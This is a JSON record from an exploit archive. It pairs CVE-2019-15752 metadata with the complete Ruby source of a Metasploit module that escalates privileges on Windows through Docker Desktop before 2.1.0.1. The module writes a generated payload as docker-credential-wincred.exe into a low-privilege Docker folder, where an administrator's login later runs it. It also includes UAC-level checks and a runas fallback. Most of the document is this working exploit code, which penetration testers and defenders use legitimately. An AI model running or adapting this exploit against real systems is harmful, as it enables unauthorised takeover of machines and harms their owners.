{"exploit":{"id":"EDB-48388","name":"Docker Desktop Community Edition < 2.1.0.1 - Privilege Escalation (Metasploit)","description":"Docker Desktop Community Edition < 2.1.0.1 - Privilege Escalation (Metasploit)","cves":["CVE-2019-15752"],"author":"Metasploit","published":"2020-04-28","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/48388","path":"exploits/windows/local/48388.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-48388.rb","vulnerabilities":[{"id":"CVE-2019-15752","state":"PUBLISHED","title":null,"titleSource":null,"description":"Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-credential-wincred.exe file in %PROGRAMDATA%\\DockerDesktop\\version-bin\\ as a low-privilege user, and then waiting for an admin or service user to authenticate with Docker, restart Docker, or run 'docker login' to force the command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-15752","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2019-15752"},"updatedAt":"2025-10-21T23:45:31.831Z","retrievedAt":"2026-11-27T05:39:09.122Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-48388.png?v=2","url":"https://exploitbin.com/exploits/EDB-48388","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-48388/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-48388/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n  Rank = ManualRanking\n\n  include Msf::Exploit::EXE\n  include Msf::Exploit::FileDropper\n  include Post::Windows::Priv\n  include Post::Windows::Runas\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Docker-Credential-Wincred.exe Privilege Escalation',\n        'Description' => %q{\n          This exploit leverages a vulnerability in docker desktop\n          community editions prior to 2.1.0.1 where an attacker can write\n          a payload to a lower-privileged area to be executed\n          automatically by the docker user at login.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Morgan Roman', # discovery\n          'bwatters-r7', # metasploit module\n        ],\n        'Platform' => ['win'],\n        'SessionTypes' => ['meterpreter'],\n        'Targets' => [[ 'Automatic', {} ]],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'WfsDelay' => 15\n        },\n        'DisclosureDate' => '2019-07-05',\n        'Notes' =>\n        {\n          'SideEffects' => [ ARTIFACTS_ON_DISK ]\n        },\n        'References' => [\n          ['CVE', '2019-15752'],\n          ['URL', 'https://medium.com/@morgan.henry.roman/elevation-of-privilege-in-docker-for-windows-2fd8450b478e']\n        ]\n      )\n    )\n    register_options(\n      [OptString.new('PROGRAMDATA', [true, 'Path to docker version-bin.', '%PROGRAMDATA%'])]\n    )\n  end\n\n  def docker_version\n    output = cmd_exec('cmd.exe', '/c docker -v')\n    vprint_status(output)\n    version_string = output.match(/(\\d+\\.)(\\d+\\.)(\\d)/)[0]\n    Gem::Version.new(version_string.split('.').map(&:to_i).join('.'))\n  end\n\n  def check\n    if docker_version <= Gem::Version.new('18.09.0')\n      return CheckCode::Appears\n    end\n\n    CheckCode::Safe\n  end\n\n  def exploit\n    check_permissions!\n    case get_uac_level\n    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,\n      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,\n      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT\n      fail_with(Failure::NotVulnerable,\n                \"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...\")\n    when UAC_DEFAULT\n      print_good('UAC is set to Default')\n      print_good('BypassUAC can bypass this setting, continuing...')\n    when UAC_NO_PROMPT\n      print_warning('UAC set to DoNotPrompt - using ShellExecute \"runas\" method instead')\n      shell_execute_exe\n      return\n    end\n\n    # make payload\n    docker_path = expand_path(\"#{datastore['PROGRAMDATA']}\\\\DockerDesktop\\\\version-bin\")\n    fail_with(Failure::NotFound, 'Vulnerable Docker path is not on system') unless directory?(docker_path)\n    payload_name = 'docker-credential-wincred.exe'\n    payload_pathname = \"#{docker_path}\\\\#{payload_name}\"\n    vprint_status('Making Payload')\n    payload = generate_payload_exe\n\n    # upload Payload\n    vprint_status(\"Uploading Payload to #{payload_pathname}\")\n    write_file(payload_pathname, payload)\n    vprint_status('Payload Upload Complete')\n    print_status('Waiting for user to attempt to login')\n  end\n\n  def check_permissions!\n    unless check == Exploit::CheckCode::Appears\n      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')\n    end\n    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?\n    # Check if you are an admin\n    # is_in_admin_group can be nil, true, or false\n  end\nend","sha256":"94dcf0540558b99806fce573af2b0f9108f02206a8f5ce07c7c10b14954fde87","bytes":3547,"fetchedAt":"2026-11-27T11:10:16.556Z","encoding":"utf-8 (display only; download retains original bytes)"}